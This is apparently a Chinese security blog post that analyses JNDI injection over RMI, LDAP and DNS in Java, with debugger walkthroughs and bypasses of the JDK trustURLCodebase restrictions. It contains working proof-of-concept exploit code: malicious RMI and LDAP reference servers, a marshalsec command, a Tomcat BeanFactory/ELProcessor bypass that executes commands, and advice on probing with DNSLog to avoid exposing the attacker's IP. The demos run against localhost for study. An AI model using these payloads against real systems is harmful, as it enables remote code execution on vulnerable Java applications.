JNDI-RMI、LDAP注入分析

JNDI Java命名和目录接口(Java Naming and Directory Interface,JNDI)是一组在Java应用中访问命名和目录服务的API。JNDI中的命名(Naming),就是将Java对象以某个名称的形式绑定(binding)到一个容器环境(Context)中,以后调用容器环境(Context)的查找(lookup)方法又可以查找出某个名称所绑定的Java对象。

JNDI

JNDI 提供统一的客户端 API,通过不同的服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录服务,使得 JAVA 应用程可以通过 JNDI 实现和这些命名服务和目录服务之间的交互。
SPI 全称为 Service Provider Interface,即服务供应接口,主要作用是为底层的具体目录服务提供统一接口,从而实现目录服务的可插拔式安装。在 JDK 中包含了下述内置的目录服务:JDBC、LDAP、RMI、DNS、NIS、CORBA。

下面从三种服务来理解jndi注入。

协议 作用
LDAP 轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容
RMI JAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象
DNS 域名服务

版本限制

JNDI 注入对 JAVA 版本有相应的限制,具体可利用版本如下:

  • JDK 5U45、6U45、7u21、8u121 开始 java.rmi.server.useCodebaseOnly 默认配置为true
  • JDK 6u132、7u122、8u113 开始 com.sun.jndi.rmi.object.trustURLCodebase 默认值为false,即不允许RMI远程地址加载 objectfactory 类
  • JDK 11.0.1、8u191、7u201、6u211, com.sun.jndi.ldap.object.trustURLCodebase 默认为false

JNDI注入

JNDI 注入,即当开发者在定义 JNDI 接口初始化时,lookup() 方法的参数可控,攻击者就可以将恶意的 url 传入参数远程加载恶意载荷,造成注入攻击。

JNDI之RMI

RMI概述

RMI 的全称是 Rmote Method Invocation,远程方法调用。具体实现的过程是:远程服务器提供具体的类和方法,本地客户端会通过某种方式获得远程类的一个代理,然后通过这个代理调用远程对象的方法。方法的参数是通过序列化和反序列化的方式传递的。

本地客户端获取远程类的代理的方式是,借助了 Registry (注册中心)

Server Registry Client
服务端,提供具体远程对象 注册表,存放远程对象的相关信息(ip、端口、标识符) 客户端,远程对象调用者

RMI 流程:

  • Registry 首先启动,并监听一个端口,一般是1099
  • Server 向 Registry 注册远程对象
  • Client 从 Registry 获取远程对象的代理
  • Client 通过这个代理调用远程对象的方法
  • Server 端的代理接收到 Client 端调用的方法,参数,Server 端执行相对应的方法
  • Server 端的代理将执行结果返回给 Client 端代理

RMI分析

jdk-7u80
这段代码可以明显看出来,要想实现jndi注入的利用只要在initialContext.lookup(uri)的位置实现uri可控就可以调用远程恶意类实现RCE。

public class jndi {
    public static void main(String[] args) throws NamingException {
        String uri = "rmi://127.0.0.1:1099/work";
        InitialContext initialContext = new InitialContext();//得到初始目录环境的一个引用
        initialContext.lookup(uri);//获取指定的远程对象

}

Server.java
服务端首先起一个注册中心的端口1099,rmi 服务默认端口为1099

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {

    public static void main(String[] args) throws Exception{
        Registry registry= LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("Calc", "Calc", "http://localhost/");
        ReferenceWrapper wrapper = new ReferenceWrapper(reference);
        registry.bind("calc", wrapper);

    }
}

Client.java

package jndi;

import javax.naming.InitialContext;

public class Client {
    public static void main(String[] args) throws Exception{
        new InitialContext().lookup("rmi://localhost:1099/calc");
    }
}

恶意类Calc.java

import java.lang.Runtime;

public class Calc {
    public Calc() throws Exception{
        Runtime.getRuntime().exec("calc");
    }
}

运行 Server 再运行 Client

调试Server

服务端注册中心起监听端口 1099,创建 Refernence 一个对象,Reference 对象中指定从远程加载构造的恶意 Factory 类, new 对象的时候需要 className、factory、factoryLocation ,并将其绑定到RMI服务器上

调试Client

步入InitialContext

进入GenericURLContext#lookup,通过 RMI 服务查找名字为 calc 的stub

继续跟进lookup,在 RegistryContext 类中该函数判断 var1 和 var2,这里89行的的 var2 为建立 socket 连接时的远程地址

在98行跟进RegistryContext 类

在342行跟进到 NamingManager 类,继续向下在 getObjectInstance 方法中获取工厂类对象

在319行调用了 getObjectFactoryFromReference方法,发现通过getObjectFactoryFromReference 方法调用恶意类

首先会本地查找,获取到 codebase 后远程调用,见158行

在158行加载恶意类,在163行使用 newInstance 方法实例化对象。到这里我们可以看到整个过程的调用栈为

JNDI之LDAP

LDAP分析

LDAP全称是 Lightweight Directory Access Protocol( 轻量级目录访问协议),LDAP也能返回 Reference 对象,由攻击者控制的 LDAP服务端返回一个恶意的 JNDI Reference 对象。

client.java

package jndi;

import javax.naming.InitialContext;

public class Client {
    public static void main(String[] args) throws Exception{
        new InitialContext().lookup("ldap://localhost:1389/Calc");
    }
}

python在 Calc.class 所在的目录起web服务:

使用 marshalsec启动LDAP服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/#Calc

启动客户端,调用远程恶意类

调用栈与 RMI 一致,原理都是基于 lookup() 方法可控

JNDI之DNS

通过上面我们可知 JNDI 注入可以利用 RMI 协议和 LDAP 协议搭建服务然后执行命令,但有个不好的点就是会暴露自己的服务器 IP 。
在没有确定存在漏洞前,直接在直接服务器上使用 RMI 或者 LDAP 去执行命令,通过日志可分析得到攻击者的服务器 IP,这样在没有获取成果的前提下还暴露了自己的服务器 IP,得不偿失。 我们可以使用 DNS 协议进行探测,通过 DNS 协议 去探测是否真的存在漏洞,再去利用 RMI 或者 LDAP 去执行命令,避免过早暴露服务器 IP,这也是平常大多数人习惯使用 DNSLog 探测的原因之一,同样的 ldap 和 rmi 也可以使用 DNSLog 平台去探测。

漏洞端代码:

import javax.naming.InitialContext;

public class client {
    public static void main(String[] args) throws Exception{
        new InitialContext().lookup("dns://dns.kf3h0a.dnslog.cn");
    }
}

NDSLog 触发成功:

Bypass绕过

trustURLCodebase绕过

当 JDK 版本切换为 1.8.0_411,出现报错

点近报错处查看com.sun.jndi.rmi.registry.RegistryContext#decodeObject,在执行客户端的时候报错,在8u121之后com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 等属性的默认值变为 false,就不能再利用了 ,即不允许 RMI 远程地址加载 objectfactory 类。

将 com.sun.jndi.cosnaming.object.trustURLCodebase 属性设置为false即可

public class Client {
    public static void main(String[] args) throws Exception{
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
        new InitialContext().lookup("rmi://localhost:1099/calc");
    }
}

高版本绕过之Tomcat8

使用 jdk 高版本的时,即使在传入时候设置了 com.sun.jndi.ldap.object.trustURLCodebase 为 true,也会报错,调试时发现该值依然为 false,具体可以参阅 JDK下的JNDI注入进行绕过

虽然8u191后已经不允许加载 codebase 中的类,但仍然可以从本地加载 Reference Factory
需要注意是,该本地类必须实现 javax.naming.spi.ObjectFactory 接口,因为在javax.naming.spi.NamingManager#getObjectFactoryFromReference 最后的 return 语句对 Factory 类的实例对象进行了类型转换,并且该工厂类至少存在一个 getObjectInstance() 方法

org.apache.naming.factory.BeanFactory 就是满足条件之一,并由于该类存在于 Tomcat8 依赖包中,攻击面和成功率还是比较高的

<dependencies>
    <dependency>
        <groupId>org.apache.tomcat</groupId>
        <artifactId>tomcat-dbcp</artifactId>
        <version>9.0.8</version>
    </dependency>
    <dependency>
        <groupId>org.apache.tomcat</groupId>
        <artifactId>tomcat-catalina</artifactId>
        <version>9.0.8</version>
    </dependency>
    <dependency>
        <groupId>org.apache.tomcat</groupId>
        <artifactId>tomcat-jasper</artifactId>
        <version>9.0.8</version>
    </dependency>
</dependencies>

服务端

public class Tomcat8bypass {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
        resourceRef.add(new StringRefAddr("forceString", "sanshi=eval"));
        resourceRef.add(new StringRefAddr("sanshi", "Runtime.getRuntime().exec(\"calc\")"));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
        registry.bind("Tomcat8bypass", referenceWrapper);
    }
}

客户端访问:

public class JndiAck {
    public static void main(String[] args) throws Exception {
    //    System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
        new InitialContext().lookup("rmi://127.0.0.1:1099/Tomcat8bypass");
    }
}

调试分析
在org.apache.naming.factory.BeanFactory#getObjectInstance中的forceString,forceString 可以给属性强制指定一个 setter 方法,所使用的是 ELProcessor.eval(),ELProcessor.eval() 会对EL表达式进行求值,即会执行命令

通过反射调用执行命令

参考资料

免责声明

免责声明:本博客的内容仅供合法、正当、健康的用途,切勿将其用于违反法律法规的行为。如因此导致任何法律责任或纠纷,本博客概不负责。谢谢您的理解与配合!

本文链接:

https://sanshiok.com/archive/30.html

# 最新文章